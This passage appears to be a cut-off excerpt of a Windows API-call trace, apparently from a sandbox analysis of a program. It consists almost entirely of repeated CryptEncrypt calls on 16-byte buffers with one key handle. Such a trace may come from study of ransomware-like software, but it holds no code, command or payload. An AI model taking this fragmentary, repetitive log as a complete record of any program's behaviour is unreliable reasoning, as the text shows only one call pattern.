hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.256] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.257] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.258] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.259] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.260] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.261] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.262] CryptEncrypt 